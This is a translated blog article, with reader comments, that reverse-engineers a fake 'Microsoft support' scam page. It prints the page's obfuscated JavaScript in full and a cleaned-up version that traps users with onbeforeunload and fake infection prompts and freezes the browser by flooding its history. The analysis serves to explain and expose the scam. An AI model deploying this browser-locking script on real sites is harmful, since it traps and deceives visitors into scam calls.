Реверс-инжиниринг вредоносного мошеннического скрипта

Original author: Benedikt Bitterli
  • Translation


Несколько дней назад я бродил по сети и зашёл на сайт с вредоносной рекламой. Хотя такие рекламные баннеры не редкость, но этому удалось проникнуть через защиту AdBlocker и немедленно перенаправить меня на сайт, который выглядел так.


В динамиках громко протрубило, и механический голос известил, что мой компьютер был инфицирован и я потеряю все свои данные, если не позвоню в техподдержку Microsoft. Модальная форма не давала мне уйти с сайта, адресная панель начала разрастаться, и в конце концов браузер завис. Впечатляющее представление!


Конечно, компьютер не был ничем инфицирован. RDN/YahLover.worm, на который вела ссылка с сайта, оказался фикцией, частью инструментария онлайн-мошенников, пытающихся убедить своих жертв в том, что компьютеры инфицированы вирусом и могут быть очищены только в ходе звонка на бесплатную горячую линию. «Сертифицированный Microsoft» специалист по телефону за плату «починит» заражённый компьютер и/или уговорит пользователя установить реальный зловред. На malwarebytes есть хорошая подборка таких мошеннических схем, встречающихся в сети.


Поскольку я несколько разбираюсь в компьютерах, то даже не пытался позвонить по горячей линии. Даже если бы я и захотел, то это было бы затруднительно: мошенник забыл указать телефонный номер. Но я всё же ощущал беспокойство: браузер полностью завис, и не исключено, что на сайте был эксплойт для Chrome, через который в мою систему подсадили зловред. Чтобы успокоить себя (и удовлетворить любопытство), я решил изучить внутреннюю схему работы мошеннического сайта.


Определение происхождения сайта


В данном случае мошенник не парился с регистрацией доменного имени, он перенаправлял своих жертв прямо на IPv4-адрес. К моему удивлению, поиск по географической привязке адреса показал, что сервер находится в США, а не в стране с более свободным интернет-законодательством:


image


Сайт хостился у DigitalOcean, популярного облачного провайдера. Похоже, даже мошенники покорены мощью Облака! К счастью, у DigitalOcean есть электронный адрес для жалоб, и я связался с ними по поводу этого сайта. На момент написания статьи мне ещё не ответили, но они наверняка примут меры.


Анализ сайта


Уведомив DigitalOcean, я занялся самим сайтом. Мне хотелось убедиться, что мой компьютер не скомпрометирован, к тому же меня терзало любопытство, как же устроен мошеннический сайт.


Сначала я скачал его копию, чтобы исследовать ее в спокойной обстановке. Поскольку у браузеров есть противная привычка отрисовывать и исполнять все сайты, которые они получают, то для скачивания копии пришлось переключиться в wget. Удивительно, но это не сработало: прямой вызов wget повисал в пустоте. После нескольких попыток я понял, что проблема заключалась в user agent: короткой порции данных, отправляемых серверу HTTP-клиентом, в которых говорится, какое ПО с ним общается. По умолчанию wget показывает себя серверу как Wget/1.19.1. А что если притвориться Chrome? wget позволяет редактировать user agent, попробуем такой вариант:


Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36


И сервер прислал в ответ нужные данные. Не уверен, что это было: следствие неудачного анализа или стандартная мера защиты от роботов, но в любом случае любопытно.


У сайта оказалась на удивление простая структура:


├── files
│   ├── defender.png
│   ├── fake_close.png
│   └── Texts.mp3
└── index.html

defender.png — это логотип Microsoft, он придаёт сайту убедительности. fake_close.png используется в фоновом сообщении в качестве иконки закрытия. И, как следует из названия, на самом деле не работает:


image


Texts.mp3 — аудиофайл, созданный речевым генератором. Он предупреждает об ужасных последствиях ухода с сайта и отказа от звонка в мошенническую службу поддержки. Сначала я предположил, что на сайте использовалась неизвестная браузерная функция генерирования речи, но оказалось, что это простой mp3, заключённый в аудиотег HTML5. Можете послушать его сами.


Ковыряемся в исходном коде


Файл index.html начинается так:


<!-- Works on Chrome and FF -->
<!DOCTYPE html>
<html>
  <head>
    <meta name="robots" content="noindex, nofollow">
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Security Warning</title>
    <meta name="robots" content="NOINDEX,NOFOLLOW">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js">
    </script>

Тут есть несколько интересных моментов. Большая часть кода открыта и хорошо отформатирована. Автор даже оставил полезный комментарий, что код протестирован на Chrome и Firefox. Также автор не хочет, чтобы сайт индексировался поисковиками. Настолько, что дважды добавил метатег robots. Наконец, включение jQuery свидетельствует о том, что автор — опытный веб-разработчик, особенно с учётом того, что ни один JS-скрипт на сайте не использует jQuery. Здесь упоминается версия полуторалетней давности.


Далее идёт около 130 строк стандартного HTML и инлайненного CSS, чтобы получилось синее фоновое сообщение с фальшивым окном. Всё самое интересное находится в конце файла. Сначала — отслеживающий скрипт Google Analytics:


<script>
 (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
 (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
 m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
 })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

 ga('create', 'UA-99222626-1', 'auto');
 ga('send', 'pageview');
</script>

Это лишь предположение, но думаю, что именно так мошенник измеряет количество трафика, пришедшего на сайт, и, возможно, даже конверсию посетителей в телефонные звонки.


Наиболее интересный JS лежит в самом подвале сайта. Он намеренно запутан и, судя по всему, отвечает за поведение сайта. Взгляните:


var text = '*************************************************\nInternet Security Alert! Code: 055BCCAC9FEC\n ************************************************* \n\nInternet Security Alert: Your Computer Might Be Infected By Harmful Viruses \nPlease Do Not Shut Down or Reset Your Computer.\n\nThe following data might be compromised if you continue:\n1. Passwords\n2. Browser History\n3. Credit Card Information\n4. Local Hard Disk Files\n\nThese viruses are well known for identity and credit card theft. Further action on this computer or any other device on your network might reveal private information and involve serious risks.\n\n Call Windows Technical Support:  (Toll Free)';
var _0x45bf=['\x70\x75\x73\x68\x53\x74\x61\x74\x65','\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a','\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65','\x6f\x6e\x6c\x6f\x61\x64','\x74\x6f\x53\x74\x72\x69\x6e\x67'];(function(_0x5954e7,_0x10ca6d){var _0x4d8f25=function(_0x3abcd2){while(--_0x3abcd2){_0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']());}};_0x4d8f25(++_0x10ca6d);}(_0x45bf,0x145));var _0xf45b=function(_0xc97b12,_0x180ff3){_0xc97b12=_0xc97b12-0x0;var _0x2933ba=_0x45bf[_0xc97b12];return _0x2933ba;};function ch(_0x454dc6){window[_0xf45b('0x0')]=function(_0x4a502f){var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6;_0x4a502f[_0xf45b('0x2')]=_0x2e1ee7;return _0x2e1ee7;};window[_0xf45b('0x3')]=function(){if(confirm('\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a'+_0x454dc6)){var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}else{var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}};}ch(text);

Расшифровка скрипта


Разделим его на части. Первая часть — открытый текст, выводящийся во всплывающем диалоговом окне. Вероятно, при желании сообщение легко отредактировать (например, добавив номер телефона).


Затем идёт текст сообщения в виде строкового массива. Разобьём на строки и посмотрим, с чем имеем дело:


var _0x45bf = [
  '\x70\x75\x73\x68\x53\x74\x61\x74\x65',
  '\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64',
  '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
  '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
  '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72' +
  '\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e' +
  '\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
  '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' +
  '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a',
  '\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65',
  '\x6f\x6e\x6c\x6f\x61\x64',
  '\x74\x6f\x53\x74\x72\x69\x6e\x67'
];

Это точно строковые значения, но на первый взгляд текст выглядит белибердой. Дело в том, что каждый символ зашифрован с помощью управляющей последовательностью Unicode. JS-интерпретатор радостно их отпарсит и снова превратит в символы, но для людей это не такая простая задача. Немного кода на Python, и можно расшифровать эти строки:


var _0x45bf = [
    'pushState',
    'onbeforeunload',
      '*************************************************\n' +
               'RDN/YahLover.worm!055BCCAC9FEC Infection\n' +
    '*************************************************\n\n',
    'returnValue',
    'onload',
    'toString'
];

Это имена JS-функций, а также имя фиктивного зловреда. Должен сказать, что скрипт использует очень хитрые имена переменных вроде _0x45bf, что затрудняет анализ. Такой формат выбран нарочно, чтобы имена выглядели как шестнадцатеричные константы, но это лишь идентификаторы: знак _ в начале говорит о том, что они парсятся JS-интерпретатором. Далее я переименую эти идентификаторы в более читабельные на основе примерных предположений об их назначении.


За массивом строковых значений идёт немедленно вызываемая анонимная функция:


(function(_0x5954e7,_0x10ca6d){ 
    var _0x4d8f25 = function(_0x3abcd2) {
        while(--_0x3abcd2) {
            _0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']());
        }
    };
    _0x4d8f25(++_0x10ca6d);
}(_0x45bf,0x145));

Я снова отформатировал скрипт, чтобы сделать его читабельным.


Как видите, здесь снова используется сокрытие имён переменных. Здесь много выражений вроде _0x5954e7['\x70\x75\x73\x68']() (после преобразования: list['push']()). На самом деле это вызовы методов. Особенность JS заключается в том, что его объекты во многом схожи со словарями, и вызов вида foo['bar']() полностью аналогичен foo.bar(). Хотя первая версия корректна, вы редко встретите такое в обычном JS-коде, так что она работает как дополнительный уровень обфускации.


После переименования переменных, расшифровки строковых значений и преобразования вызовов методов получилась более читабельная версия кода:


(function(list, N) { 
    var rotateList = function(NplusOne) {
        while(--NplusOne) {
            list.push(list.shift());
        }
    };
    rotateList(++N);
}(stringList, 325));

Главная цель этой функции — перемешать список вышеприведённых строковых значений. Во внутреннем цикле несколько раз вызывается list.push(list.shift()). В JS shift убирает передний элемент списка, а push добавляет его в конец. Иными словами, одна итерация цикла просто переставляет все записи на одну позицию влево.


Вызываемая функция применяется к строковому списку и преобразует его 325 раз. Поскольку список содержит шесть элементов, то через каждые шесть итераций мы получаем исходный список. 325 mod 6 = 1 означает, что эта часть кода всего лишь сдвигает строковые значения на одну позицию влево. Тогда список выглядит так:


var shuffledStringList = [
    'onbeforeunload',
    wormName,
    'returnValue',
    'onload',
    'toString',
    'pushState'
];

Для простоты я опустил строку, идентифицирующую зловред как wormName.


После перемешивания скрипт определяет такую функцию:


var _0xf45b=function(_0xc97b12,_0x180ff3) {
    _0xc97b12=_0xc97b12-0x0;
    var _0x2933ba=_0x45bf[_0xc97b12];
    return _0x2933ba;
};

Забавно, что везде, где можно, используются шестнадцатеричные константы, даже когда это совершенно бессмысленно. Например, 0x0.


Взгляните на расшифрованную версию:


function indexStringList(idx) {
    idx = idx - 0;
    var result = shuffledStringList[idx];
    return result;
};

Функция проста: она лишь возвращает из массива shuffledStringList запись с определённым индексом. Для дополнительного запутывания индекс передаётся в качестве строкового значения и преобразуется в число с помощью выражения idx = idx - 0;. Это работает благодаря такому свойству JS, как автоматическое преобразование строковых в десятичные значения, когда они используются в арифметических операциях.


Затем идёт основная входная функция скрипта. После переформатирования получаем:


function ch(_0x454dc6){
  window[_0xf45b('0x0')] = function(_0x4a502f){
    var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6;
    _0x4a502f[_0xf45b('0x2')]=_0x2e1ee7;
    return _0x2e1ee7;
  };
  window[_0xf45b('0x3')] = function() {
    if(confirm(wormName+_0x454dc6)){
      var _0x5a0f53='';
      for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) {
        _0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();
        history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);
      }
    } else {
      var _0x5a0f53='';
      for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) {
        _0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();
        history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);
      }
    }
  };
}
ch(text);

Первое, что бросается в глаза, — это обилие вызовов наподобие _0xf45b('0x0'). Это вызовы функции indexStringList, которую мы уже видели выше. То есть просто возвращаются значения из перемешанного списка строковых значений, так что можно напрямую заменить их финальными значениями. _0xf45b('0x0') превратится в onbeforeunload и т. д.


В этой части кода также используются значения вроде window[_0xf45b('0x0')], представляющие собой скрытые вызовы методов глобального экземпляра window. Учитывая эти трансформации, можно переписать код в явном виде:


function main(messageBody) {
    window.onbeforeunload = function(event) {
        var dialogText = wormName + messageBody;
        event.returnValue = dialogText;
        return dialogText;
    };
    window.onload = function() { 
        if (confirm(wormName + messageBody)) {
            var url = '';
            for (var i = 0; i < 100000000; i++) {
                url = url + i.toString();
                history.pushState(0, 0, url);
            }
        } else {
            var url = '';
            for (var i = 0; i < 100000000; i++) {
                url = url + i.toString();
                history.pushState(0, 0, url);
            }
        }
    };
}
main(text);

Теперь можно вычислить, что же делает этот JS-скрипт. А делает он три вещи:


  • Регистрирует обработчик onbeforeunload, вызываемый браузером, когда пользователь пытается закрыть вкладку или уйти с сайта. После этого скрипт показывает всплывающее окно, чтобы не дать жертве уйти. Неясно, почему браузер позволяет это сделать.
  • Затем показывает модальный диалог confirm, предупреждающий пользователя о возможном заражении и звонке на горячую линию. Любопытно, что он не использует более популярное решение alert. Главное отличие заключается в том, что всплывающее окно confirm позволяет выбрать между OK и Cancel, хотя скрипту плевать, куда вы кликнете. Возможно, это слабая попытка обмануть блокировщики рекламы и антивредоносные плагины.
  • Вне зависимости от того, на какую кнопку нажал пользователь, скрипт запускает длинный цикл, циклически генерирующий числовой URL и добавляющий его в историю браузера. История заполняется ссылками на мошеннический сайт, что делает бесполезным нажатия на кнопку «Назад». Это ещё один способ не дать жертве уйти.

После удаления обфускации мы получаем довольно простой скрипт. Он всего лишь доставляет пугающее голосовое сообщение и заставляет пользователя оставаться на сайте достаточно долго, чтобы прочитать текст (и, быть может, позвонить по телефону).


Уверен, что этот скрипт не мог запустить в мой компьютер реального зловреда. Также стало понятно, почему подвис браузер: Chrome плохо переваривает слишком длинные URL’ы и заспамливание истории.


Заключительные мысли


Хотя фальшивую службу поддержки нельзя целиком приравнять к полноценной зловредной атаке, в запутывание JS-скрипта на этом сайте было вложено на удивление много сил. Оригинальный код умещается менее чем в 30 строк, на обратный инжиниринг ушла пара часов. Учитывая простую структуру сайта и чистое форматирование кода, я предполагаю, что скрипт написал кто-то хорошо разбирающийся в веб-разработке. Вероятно, автор просто забыл добавить номер телефона, чтобы его мошенническая схема действительно сработала. Либо это критический недосмотр, либо мне попалась ранняя тестовая версия того, что позднее превратится в полноценный мошеннический сайт.


Несколько разочаровывает, что для его работы достаточно лишь маленького JS-скрипта и что можно сделать браузер полностью неработоспособным, настолько, что нельзя уйти с сайта и нужно перезапустить приложение. Учитывая, сколько ежедневно появляется рекламы, в ней очень легко спрятать 30 строк кода. Странно, что это не происходит гораздо чаще.


В любом случае это было забавно. В следующий раз, когда окажетесь на мошенническом сайте, почему бы не поковыряться в коде и не посмотреть, как он работает? Вы можете узнать для себя что-нибудь интересное.


UPD. В комментариях правильно определили обфускатор — вот ссылка на Github, а разработкой занимается Качалов Тимофей sanex3339

Mail.ru Group
Building the Internet

Comments 28

    0
    Думаю, на основе UA-99222626-1 можно найти многое ;)
      –2
      Похоже на то, что матёрый, олдскульный прогер решил побаловаться. Качественно запутанный скрипт с кучей типа-Hex-id — а в нём скорей хлопушка, чем злобное нечто.

      Напоминает старые времена, когда вирусы писались потешить себя, а не для отъёма денег.

      А кстати, в других браузерах как ЭТО себя ведёт, не смотрели?
        +9
        На самом деле ничего сильно запутанного тут и нет, скорее всего, оригинальный код был просто обфусцирован, например, тут .
          +1
          Такой матерый, что запустил это с обычного публичного хостинга с ipv4 адреса, подключил жквери где не надо, забыл добавить телефон и много всего другого.
            0
            А какие ещё бывают виды хостинга?
            +4
            Автор настолько матерый, что оставляет на сайте следы своего гугл аккаунта вместе с идентификаторами гугл аналитикс, видимо для того чтобы его жертвы, раз уж позвонить не могут, могли ему на почту написать куда им деньги высылать. Все правильно, ведь матерому балующемуся олдскульному прогеру нечего бояться.
              0
              Это Вы просто не встречали неуловимого Джо…
            –6
            «Наконец, включение jQuery свидетельствует о том, что автор — опытный веб-разработчик, особенно с учётом того, что ни один JS-скрипт на сайте не использует jQuery.»
            Это сарказм или где логика?
            Алсо, похоже больше не на опытного разработчика, а на школяра, стырившем скрипт где-нибудь на blackhatworld'е и иже с ним и играющего в кулхацкера.
              –1
              За что заминусили вопрос? В тексте и правда противоречие.
              Я сначала прочитал как сарказм, но в конце становится понятно что разработчик не нуб.
              Присоединяюсь к вопросу
                0
                Учитывая, что автор забыл добавить номер телефона, может он ещё и забыл удалить подключение JQ?
              +4
              Удивительно, что автор не знал об автоматических средствах обфускации JS. Вообще по стилю похоже на этот обфускатор (GUI к нему)
                +5
                Уровень статьи в целом намекает, что автор не очень давно в интернете.
                Ах, сколько еще предстоит открытий!
                  +1
                  Ага, это он. Но там довольно слабые настройки обфускации выбраны, не используется controllFlowFlattening, deadCodeInjection и rc4 кодирование строковых литералов.

                  Скорее всего там одна из первых версий используется.
                  +3
                  Доставка контента по User-Agent стандартная практика на дроп сайтах. По User-Agent определяется что именно будет показано. Разным браузерам нужны разные эксплоиты. Зачастую еще бывает цепочка редиректов в зависимости от ОС, от браузера и так далее. в итоге клиент доставляется точно на специфичную для него софтину. Все сайты подобного толка что я видел так работали.
                  И да, как уже упомянули, скрипт скорее всего обфусцирован каким-то стандартным обфускатором, который применил свои замороченные процедуры к довольно простому коду. Поэтому получилась такая странная синергия — простецкого кода и замороченной обфускации которая особо даже не запутывает. Просто выглядит странно. Был бы скрипт посложнее и побольше, там уже бы обфускатор раскрылся как надо.
                    +2
                    Затем показывает модальный диалог confirm, предупреждающий пользователя о возможном заражении и звонке на горячую линию. Любопытно, что он не использует более популярное решение alert

                    При втором вызове alert новые браузеры Chrome добавляют галочку к окну, чтобы больше не показывать сообщения если пользователь отметил. Также при использовании alert большинство новых браузеров игнорируют это при закрытии страницы пользователем
                      0

                      Сколько же оригиналу этой статьи, если там Chrome 41 упоминается?
                      Да и убить такую вредоносную страницу можно вызвав диспетчер задач хрома (Ctrl+Alt+Esc, если не ошибаюсь).

                        0
                        Shift+Esc
                          0
                          ctr+w достаточно, хром давно не блокирует закрытие страницы при алерте из onbeforeunload. До недавнего времени была возможность обновить страницу из onbeforeunload и вылетал алерт по типу «хотите ли покинуть данную страницу», сейчас тоже пофиксили.
                          +4
                          Немного кода на Python, и можно расшифровать эти строки

                          Можно просто в консоль браузера вставить)

                            +1
                            Немного кода на Python, и можно расшифровать эти строки

                            Дайте-ка я угадаю — "немного кода" заключалось в простом копипасте этого массива в консоль Python?


                            P.S. Пардон, пока читал, успели оставить комментарий с такой же догадкой.

                              –1
                              Теги хорошие:)
                                0

                                Абсолютно некорректная догадка о том, что историю засоряют, чтобы back не отработал. Может и за этим тоже, но не 100000000 раз же! Этот цикл просто вешает ваш хром таким образом, чтобы он этого не смог явно отследить. Ну и остальной текст статьи на том же уровне… Уважаю питонистов, но не сажайте их писать статьи про джаваскрипт.

                                  –1
                                  Сначала я предположил, что на сайте использовалась неизвестная браузерная функция генерирования речи

                                  неизвестная, не значит невозможная
                                  developers.google.com/web/updates/2014/01/Web-apps-that-talk-Introduction-to-the-Speech-Synthesis-API
                                    –1
                                    Автору определённо необходимо изучить материал по следующим ссылкам.

                                    ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D0%BA%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F
                                    ru.wikipedia.org/wiki/%D0%A8%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5
                                    ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%84%D1%83%D1%81%D0%BA%D0%B0%D1%86%D0%B8%D1%8F_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B5_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)
                                      0
                                      На статье висит плашка «перевод».
                                        0
                                        Действительно, не заметил.
                                        Но в этом случае всё ещё хуже, так как в оригинале всё корректно, чего нельзя сказать про перевод.
                                      0
                                      Наконец, включение jQuery свидетельствует о том, что автор — опытный веб-разработчик, особенно с учётом того, что ни один JS-скрипт на сайте не использует jQuery. Здесь упоминается версия полуторалетней давности.


                                      Как jQuery связанно с опытностью разработчика? Может он решил в процессе, что все проще и вполне реализуемо ванилой
                                        0
                                        Вероятно, автор просто забыл добавить номер телефона, чтобы его мошенническая схема действительно сработала

                                        лол, всё просто же — какой-то школоло нашёл C00l v1R|_|S 4 5itEs, залил его на свежекупленый для этой цели DO, зарегал в паре левых однодневных партнёрок и ждёт, пока ему бабло начнёт капать, но забыл, или не знал, что надо ещё пул номеров с ботами в оффшоре завести

                                        ну или, как вариант, просто testrun нового скрипта, тем более, там аналитика есть

                                        Only users with full accounts can post comments. Log in, please.